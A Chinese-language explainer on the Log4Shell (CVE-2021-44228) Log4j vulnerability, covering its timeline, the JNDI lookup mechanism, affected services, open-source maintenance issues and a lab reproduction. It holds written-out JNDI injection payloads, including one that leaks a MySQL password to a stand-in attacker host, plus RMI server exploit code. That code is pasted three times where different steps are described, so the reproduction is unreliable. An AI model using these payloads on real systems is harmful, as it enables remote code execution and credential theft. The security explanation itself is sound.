2021年11月24日,阿里云安全团队团队成员之一的Chen Zhaojun 在进行漏洞的筛查时发现了核弹级漏洞 log4shell或log4j 或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个「数百万」应用程序都在使用的开源Java日志库Log4j2中。
11月24日,开源项目Apache Log4j2的一个远程代码执行漏洞被提交。
12月7日上午,Apache发布了2.15.0-rc1版本更新。
12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2.0到2.14.1-rc1)。
当大家纷纷升级到2.15.0-rc1之后发现,该补丁依然可以被绕过。
12月10日凌晨2点半左右,Apache Log4j2紧急更新了2.15.0-rc2版本。
此时,各个大厂也几乎都在熬夜抢修。
一、简介
Log4Shell 这个漏洞的名字——或者一些更具传播性的说法,诸如「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到哪家公司不受影响」之类(参见《洛杉矶时报》
为什么是核弹级的漏洞呢? 因为利用起来太简单了攻击者只需发送一则特殊的消息到服务器(包含类似${jndi:ldap://server.com/a}的字符串),就可以执行任意的代码,并有可能完全控制该系统。
log4shell或是log4j2漏洞刷频了,各种应急修复了一又一波,现在来整体盘点这个漏洞到底是什么原理!
这个被报道得神乎其神的 Log4Shell 漏洞(CVE-2021-44228)所针对的,是一个极为常用的 Java 库 Log4j(详见后文说明)。值得一提,这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun(微博)在 11 月24日发现并提报的。
有记录的利用 Log4Shell 漏洞发起的攻击开始于 2021年12 月 9 日,最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图,Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。
据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094软件包存在风险,这一漏洞可以说是影响了互联网上70%以上企业系统的正常运转。
在形象认识的基础上,我们下面继续从技术角度说明 Log4Shell 漏洞的原理。
Log4j 是一个 Java 语言的库(library)。所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。
Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言,而 Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。
Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。
那么,Log4j 都支持补齐哪些「待定内容」呢?根据文档,这主要包括日期时间、运行环境信息(例如用户名、Java 版本、系统语言)、事件信息等。
例如,如果在模板里写 ${date:yyyy-MM-dd},那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来;如果在模板里写 ${java:version},Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来。
不过,除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询。JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。
这里,就要提到很多攻击例证里出现的字样——LDAP。LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息。例如:
CN=John Appleseed,OU=Sales,O=Apple
表示一个常用名(commonName)为 John Appleseed,所属组织单位(organizationUnit)为 Sales,所属组织(organization)为 Apple 的对象(通常对应一个用户)。
LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址:
ldap://ldap.example.com/cn=John%20Appleseed
就会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息。
根据文档,JNDI 查询的语法是 ${jndi:<查询位置>}。一般而言,这里的「查询位置」是一个取决于软件运行环境的内部位置,因此 Log4j 会自动给它加上 java:comp/env 的前缀再查询。这就好比在公司内部说「查花名册」,默认就是指查该公司雇员的名册一样。
但特殊地,如果查询位置里包含冒号(:)——最可能的情况就是一个固定的 URL 地址,例如 ${jndi:ldap://ldap.example.com/a},那么,Log4j 在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。
实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求。
换言之,只要设法让使用了 Log4j 的程序记下一条内容形如 ${jndi:ldap://ldap.example.com/a} 的日志,那么记下这条日志的同时,程序就会试图向 ldap.example.com 请求查询数据,然后解析查询结果并写进日志。
乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得 Log4Shell 漏洞很容易触发,危害性又很高。
例如,很多服务器会通过日志记录访客的浏览器信息(即 HTTP 请求头中的 User-Agent)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a} 之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。
需要指出,攻击文本中所用的 ldap.example.com 甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。
留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现 dnslog.cn、ceye.io 等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的 IP 地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。
测试漏洞的人太多,连dnslog很长一段时间都访问不了,最后还用的ceye测试复现的。
例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然,这个字符串进入了 iCloud 服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名:
类似地,在下面的 QQ 邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录:
又因为 JNDI 查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了任何 Log4j 所能接触到的运行环境信息。正如一些用户在 GitHub 上的漏洞讨论中指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的恶意日志,就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD} 替换为真实的 MySQL 数据库密码,然后通过 URL 泄露给 www.attacker.com。
此外,注意到 JNDI 的本意在于查询——不仅是发出请求,而且会记录和处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。 例如,一个正常的 LDAP 服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器,那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。
例如,上文提到的 BleepingComputer 报道中提到一个现有的真实案例:攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中,导致被攻击机器下载并安装了挖矿程序:
这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鲜事物,在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。
最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度。
Cloudflare 就在针对本漏洞的博文中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过 Log4j 记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。
漏洞易补,根源难除
尽管 Log4Shell 漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版更新记录所示,其主要的修复方法就是加强对 JNDI 的限制,包括默认仅限访问本地的 LDAP 服务器(而非任意远程位置)、禁用大部分 JNDI 通讯的协议等。
而对于暂没有条件升级到新版 Log4j 的服务,也可以通过设置参数禁止 JNDI 查询,或者直接把 JNDI 查询相关代码切割出去,从而实现弥补漏洞。
此外,「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。
还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝「记录员」被利用的可能性。
然而,哪怕 Log4Shell 的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考。
首先是一个软件系统设计的问题:很多评论都惊讶地指出,Log4j 的权限和「胆子」是不是太大了?区区一个「记录员」的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗?
特别是当人们找出罪魁祸首——当初引入这个漏洞的功能提案,发现提案者的主要理由只是为了「方便」后,就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。
对此,一种解释是,这是过时开发思路的遗留。例如,Hacker News 用户 @toyg 指出,早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路,Log4j 这些令人后怕的「丰富」功能可能就因此而来;他还认为,LDAP 传统上是一个跑在内网上,被推定为「安全」的服务,这也容易让人忘记设置安全防护措施。
其次,作为一个由社区维护的开源项目,Log4j 此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后,Log4j 维护者 Volkan Yazici 在一条推文中不无委屈地说:
Log4j 的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交 CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制——译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。
进而有人从维护者 Ralph Goers 的 GitHub 支持者页面发现一段颇为谦卑的陈述:
我用业余时间开发 Log4j 等开源项目,所以一般只 [有空] 解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。
而略显讽刺的是,这段话下面赫然显示「3 人赞助了 rgoers 的工作」(情况曝光后数量略有增加)。
既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事?
还有观点指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。
此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。
影响版本:Apache Log4j 2.x<=2.15.0.rc1
影响范围:
Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
二、复现过程
漏洞原理
最主要的漏洞成因就是下面这张图了,log4j2提供的lookup功能:
日志中包含 ${},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j 2将基本的解析都做了实现。比如常见的用户登陆日志记录:
常见解析
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}
而其中的JNDI(Java Naming and Directory Interface)就是本次的主题了,就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。
而log4j 2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?
也就是当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}
我们可以将上面日志记录的代码简单修改一下,假设用户名是从外部获取的用户输入,此时构建一个恶意用户名${jndi:ladp://http://z2xcu7.dnslog.cn/exp},然后触发日志记录(可以借助DNSLog生成临时域名用于查看测试是否生效)。
可以看到,记录日志时发起了JNDI解析,访问了DNS提供的域名并生成记录。
攻击流程
其实JNDI通过SPI(Service Provider Interface)封装了多个协议,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;复现选择了使用RMI服务,搭建较为快速。
攻击思路(文章中使用的jdk1.8):
1、找到目标服务器记录日志的地方,且记录的部分内容可控。
我们还是选择之前的模拟日志记录,假设站点会记录用户登陆日志,实际上大部分网站确实会做相关功能。
2、搭建RMI服务端,包含需要执行的恶意代码。
RMI服务端搭建,监听本地8888(自定义)端口,用Reference类引用恶意对象。
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}
恶意对象模拟执行cmd打开计算器,并且输出一个语句用于标记执行处:
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}
执行RMIServer,创建RMI服务。
3、构建EXP触发目标服务器进行日志记录触发JNDI解析。
构建恶意用户名模拟输入,执行触发恶意解析。
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}
4、解析结果定位到搭建的恶意服务端,目标服务器访问并触发恶意代码。
恶意代码被执行,注意看恶意代码执行记录,是在日志记录的地方被执行。
三、修复与检测
可以通过${jndi字串匹配是否受到攻击。
修复参考链接:
https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg
https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g
四、总结
目前已证实服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、 Steam等。
据统计,共有6921个应用程序都有被攻击的风险,其中《我的世界》首轮即被波及。就连修改iPhone手机名称都能触发,最主要的是这是国外黑客玩了几个月玩腻了才公开的漏洞!
一个范围广的0day漏洞可能导致整个互联网沦为肉鸡或者瘫痪,网络安全,任重而道远。
不过早在11月24日,阿里云就监测到了在野攻击并给apache报告了,只是apache新出的版本只是拦截了ldap,其他协议依旧有效。所以公开后很快被腾讯团队测试可绕过,当天发出修复版本Log4j 2.15.0-rc2。